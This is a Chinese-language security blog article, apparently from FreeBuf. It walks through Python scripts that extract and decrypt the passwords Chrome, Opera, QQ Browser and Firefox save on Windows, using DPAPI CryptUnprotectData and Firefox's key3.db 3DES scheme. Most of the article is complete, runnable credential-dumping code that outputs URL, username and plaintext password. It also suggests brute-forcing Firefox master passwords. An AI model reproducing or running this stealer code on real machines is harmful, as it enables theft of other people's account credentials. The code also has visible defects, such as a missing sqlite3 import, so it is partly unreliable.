*本文原创作者: cDdubz8 ,本文属FreeBuf原创奖励计划,未经许可禁止转载
早就听闻FreeBuf评论区大神多,作为一个菜鸟,在极度惶恐下发表这篇文章只为抛砖引玉,让众多萌新开阔视野。
本文将会演示怎样使用Python导出Windows系统上浏览器保存的密码、书签、浏览历史等敏感数据。由于时间和个人能力关系,所涉及的浏览器种类、版本有限,还望有大神不吝赐教。
首先Python环境是必不可少的,强烈推荐使用32位2.7版本(即使你的系统是64位),可免去不少麻烦!
然后你需要安装以下库(使用pip快速安装)。
pywin32
#下载对应版本并安装 https://sourceforge.net/projects/pywin32/files/pywin32/
shutil:
#(非必要,在本文所含代码中仅用来拷贝文件,可使用以下代码代替) import os os.system('copy file directory')
pyasn1:
#(必要,除非你想造轮子) pip install pyasn1 #测试安装是否成功 from pyasn1.codec.der import decoder
PyCrypto ::
#请确保你使用的Python是32位的,不然会遇到兼容问题 #请确保你下载了Visual Studio Community 2015 : https://www.visualstudio.com/zh-hans/downloads/ #安装VS的时候请确保勾选Visual C++,Python Tools for Visual Studio #在“..python安装路径.../Lib/distutils目录下有个msvc9compiler.py找到243行 toolskey = "VS%0.f0COMNTOOLS" % version 直接改为 toolskey = "VS140COMNTOOLS" pip install pycrypto #测试是否安装成功 from Crypto.Cipher import DES3 #报错的话,先卸载 pip uninstall pycrypto #再选择对应编译版下载后安装: http://www.voidspace.org.uk/python/modules.shtml#pycrypto #以上可解决99%安装不成功的问题,还有1%是文件夹名大小写问题
#默认位置在:Chrome:C:/Users/当前用户名/AppData/Local/Google/Chrome/User Data/Default # Opera: C:/Users/当前用户名/AppData/Roaming/Opera Software/Opera Stable # QQ : C:/Users/当前用户名/AppData/Local/Tencent/QQBrowser/User Data/Default # 登录QQ后:C:/Users/hasee-pc/AppData/Local/Tencent/QQBrowser/User Data/Default/QQ号码 #保存的密码:Chrome&Opera:Login Data # QQ Browser:EncryptedStorage #书签:Bookmarks #浏览历史:History #使用Python获取路径 import os os.path.expanduser('~//AppData//Local//Google//Chrome//User Data//Default')
可以使用一款名叫DB Browser的程序查看数据库结构( http://sqlitebrowser.org/ )。
以下为Chrome Login Data结构:
打开文件后,选择Browser Data即可看到储存的数据,其中password_value已加密,可使用win32crypt.CryptUnprotectData()解密
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
注意,当Chrome在运行的时候,数据库会无法访问,这时候可以把数据库拷贝到一个临时文件夹,读取完成后再删除即可 。 完整代码如下:
#Dump saved password from Chrome import os import shutil import win32crypt class Chrome: def get_pwd(self): path_tab = [ os.path.expanduser('~//Local Settings//Application Data//Google//Chrome//User Data//Default//Login Data'), os.path.expanduser('~//AppData//Local//Google//Chrome//User Data//Default//Login Data') ] data_path = [path for path in path_tab if os.path.exists(path)] if not data_path: debug_info = '[-]Chrome data not found.' return #More than 1 path valid if len(data_path) != 1: data_path = data_path[0] #Copy file Login Data to avoid locking try: shutil.copy(data_path, os.getcwd() + '//' + 'db_copy') #os.sep = // data_path = os.getcwd() + '//' + 'db_copy' except Exception,e: debug_info = '[-]An error occured when copying Login Data:' + e try: conn = sqlite3.connect(data_path) cursor = conn.cursor() except Exception,e: debug_info = '[-]An error occured when opening database file:' + e return cursor.execute('SELECT origin_url, username_value, password_value FROM logins') chrome_pwd = [] for res in cursor.fetchall(): values = {} #Decryption try: pwd = win32crypt.CryptUnprotectData(res[2], None, None, None, 0)[1] except Exception,e: pwd = '' debug_info = '[-]An error occured when decrypting password' values['URL'] = res[0] values['ID'] = res[1] values['PWD'] = pwd chrome_pwd.append(values) conn.close() if data_path.endswith('db_copy'): os.remove(data_path) return chrome_pwd class Opera: def get_path(self): data_path = os.path.expanduser('~//AppData//Roaming//Opera Software//Opera Stable//Login Data') if os.path.exists(data_path): return data_path else: return def get_pwd(self): path = self.get_path() conn = sqlite3.connect(path) cursor = conn.cursor() cursor.execute('SELECT action_url, username_value,password_value FROM logins') opera_pwd = [] for value in cursor.fetchall(): values = {} pwd = win32crypt.CryptUnprotectData(value[2],None,None,None,0)[1] if pwd: values['URL'] = value[0] values['ID'] = value[1] values['PWD'] = pwd opera_pwd.append(values) else: values['URL'] = value[0] values['ID'] = value[1] values['PWD'] = '' opera_pwd.append(values) return opera_pwd class Qq: def __init__(self): self.get_path() def get_path(self): self.data_path = [] for root,dirs,files in os.walk(os.path.expanduser('~//AppData//Local//Tencent//QQBrowser//User Data//Default')): for file in files: if file == 'EncryptedStorage': self.data_path.append(os.path.join(root,file)) return self.data_path def get_pwd(self): qq_pwd = [] for path in self.data_path: shutil.copy(path, os.getcwd() + '//' + 'db_copy') #os.sep = // path = os.getcwd() + '//' + 'db_copy' conn = sqlite3.connect(path) cursor = conn.cursor() cursor.execute('SELECT str1, str2, blob0 FROM entries') for res in cursor.fetchall(): values = {} try: pwd = win32crypt.CryptUnprotectData(res[2],None,None,None,0)[1] except: pwd = '' values['URL'] = res[0] values['ID'] = res[1] values['PWD'] = pwd qq_pwd.append(values) conn.close() os.remove(path) return qq_pwd p = Chrome() #p = Opera(),p = Qq() for i in p.get_pwd(): print i['URL'],i['ID'],i['PWD']
运行结果如下,为了保护隐私,输出结果已“打码”。
由于篇幅原因,就不贴导出书签和浏览历史的代码了,毕竟你连账号密码登录地址都知道,还有什么隐私是得不到的呢~~
相比前三款浏览器,Firefox想获取密码要复杂得多,而且还有主密码这个无敌的设定。(推荐各位使用Firefox)
选项>>安全>>使用主密码
以下代码仅能在未设定主密码的情况下成功运行导出密码,如果目标主机设定主密码,就只能先通过爆破或者字典猜解主密码,再去解密数据。
# inspired by pentestbox : pentestbox.org import os import json import hmac import shutil import sqlite3 import win32crypt from hashlib import sha1 from struct import unpack from base64 import b64decode from itertools import product from Crypto.Cipher import DES3 from pyasn1.codec.der import decoder from ConfigParser import RawConfigParser from binascii import hexlify, unhexlify from Crypto.Util.number import long_to_bytes class Credentials(object): def __init__(self, db): global database_find self.db = db if os.path.isfile(db): f = open(db, 'r') tmp = f.read() if tmp: database_find = True f.close() class Json_db(Credentials): def __init__(self, profile): db = profile + os.sep + "logins.json" super(Json_db, self).__init__(db) def __iter__(self): if os.path.exists(self.db): with open(self.db) as fh: data = json.load(fh) try: logins = data["logins"] except: raise Exception("Unrecognized format in {0}".format(self.db)) for i in logins: yield (i["hostname"], i["encryptedUsername"], i["encryptedPassword"]) class Firefox: def printASN1(self, d, l, rl): type = ord(d[0]) length = ord(d[1]) if length&0x80 > 0: nByteLength = length&0x7f length = ord(d[2]) skip=1 else: skip=0 if type==0x30: seqLen = length readLen = 0 while seqLen>0: len2 = self.printASN1(d[2+skip+readLen:], seqLen, rl+1) seqLen = seqLen - len2 readLen = readLen + len2 return length+2 elif type==6: return length+2 elif type==4: return length+2 elif type==5: return length+2 elif type==2: return length+2 else: if length==l-2: self.printASN1( d[2:], length, rl+1) return length def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData ): hp = sha1( globalSalt+masterPassword ).digest() pes = entrySalt + '/x00'*(20-len(entrySalt)) chp = sha1( hp+entrySalt ).digest() k1 = hmac.new(chp, pes+entrySalt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk+entrySalt, sha1).digest() k = k1+k2 iv = k[-8:] key = k[:24] return DES3.new( key, DES3.MODE_CBC, iv).decrypt(encryptedData) def extractSecretKey(self, globalSalt, masterPassword, entrySalt): if unhexlify('f8000000000000000000000000000001') not in self.key3: return None privKeyEntry = self.key3[ unhexlify('f8000000000000000000000000000001') ] saltLen = ord( privKeyEntry[1] ) nameLen = ord( privKeyEntry[2] ) privKeyEntryASN1 = decoder.decode( privKeyEntry[3+saltLen+nameLen:] ) data = privKeyEntry[3+saltLen+nameLen:] self.printASN1(data, len(data), 0) entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decrypt3DES( globalSalt, masterPassword, entrySalt, privKeyData ) self.printASN1(privKey, len(privKey), 0) privKeyASN1 = decoder.decode( privKey ) prKey= privKeyASN1[0][2].asOctets() self.printASN1(prKey, len(prKey), 0) prKeyASN1 = decoder.decode( prKey ) id = prKeyASN1[0][1] key = long_to_bytes( prKeyASN1[0][3] ) return key def getShortLE(self, d, a): return unpack('<H',(d)[a:a+2])[0] def getLongBE(self, d, a): return unpack('>L',(d)[a:a+4])[0] def readBsddb(self, name): f = open(name,'rb') header = f.read(4*15) magic = self.getLongBE(header,0) if magic != 0x61561: print_debug('WARNING', 'Bad magic number') return False version = self.getLongBE(header,4) if version !=2: print_debug('WARNING', 'Bad version !=2 (1.85)') return False pagesize = self.getLongBE(header,12) nkeys = self.getLongBE(header,0x38) readkeys = 0 page = 1 nval = 0 val = 1 db1 = [] while (readkeys < nkeys): f.seek(pagesize*page) offsets = f.read((nkeys+1)* 4 +2) offsetVals = [] i=0 nval = 0 val = 1 keys = 0 while nval != val : keys +=1 key = self.getShortLE(offsets,2+i) val = self.getShortLE(offsets,4+i) nval = self.getShortLE(offsets,8+i) offsetVals.append(key+ pagesize*page) offsetVals.append(val+ pagesize*page) readkeys += 1 i += 4 offsetVals.append(pagesize*(page+1)) valKey = sorted(offsetVals) for i in range( keys*2 ): f.seek(valKey[i]) data = f.read(valKey[i+1] - valKey[i]) db1.append(data) page += 1 f.close() db = {} for i in range( 0, len(db1), 2): db[ db1[i+1] ] = db1[ i ] return db def get_path(self): main_path = os.path.expanduser('~//AppData//Roaming//Mozilla//Firefox') cp = RawConfigParser() try: cp.read(os.path.join(main_path,'profiles.ini')) except: return [] self.profile_list = [] for section in cp.sections(): if section.startswith('Profile'): if cp.has_option(section, 'Path'): self.profile_list.append(os.path.join(main_path, cp.get(section, 'Path').strip())) return self.profile_list def get_pwd(self): ffox_pwd = [] for profile in self.get_path(): if not os.path.exists(profile + os.sep + 'key3.db'): continue self.key3 = self.readBsddb(profile + os.sep + 'key3.db') if not self.key3: continue masterPassword = '' pwdCheck = self.key3['password-check'] entrySaltLen = ord(pwdCheck[1]) entrySalt = pwdCheck[3: 3+entrySaltLen] encryptedPasswd = pwdCheck[-16:] globalSalt = self.key3['global-salt'] cleartextData = self.decrypt3DES( globalSalt, masterPassword, entrySalt, encryptedPasswd ) credentials = Json_db(profile) key = self.extractSecretKey(globalSalt, masterPassword, entrySalt) for host,user,pwd in credentials: values = {} values['URL'] = host loginASN1 = decoder.decode(b64decode(user)) iv = loginASN1[0][1][1].asOctets() ciphertext = loginASN1[0][2].asOctets() login = DES3.new(key,DES3.MODE_CBC,iv).decrypt(ciphertext) try: nb = unpack('B',login[-1])[0] values['ID'] = login[:-nb] except: values['ID'] = login passwdASN1 = decoder.decode(b64decode(pwd)) iv = passwdASN1[0][1][1].asOctets() ciphertext = passwdASN1[0][2].asOctets() password = DES3.new(key,DES3.MODE_CBC,iv).decrypt(ciphertext) try: nb = unpack('B',password[-1])[0] values['PWD'] = password[:-nb] except: values['PWD'] = password if len(values): ffox_pwd.append(values) return ffox_pwd p = Firefox() print p.get_pwd()
就如开头所说,我发表这篇文章的初衷就是抛砖引玉,希望各位大神要喷,就用你们的程序来喷我。
对以上内容有任何疑问,欢迎在评论区留言,我会尽力为大家解答。
*本文原创作者: cDdubz8 ,本文属FreeBuf原创奖励计划,未经许可禁止转载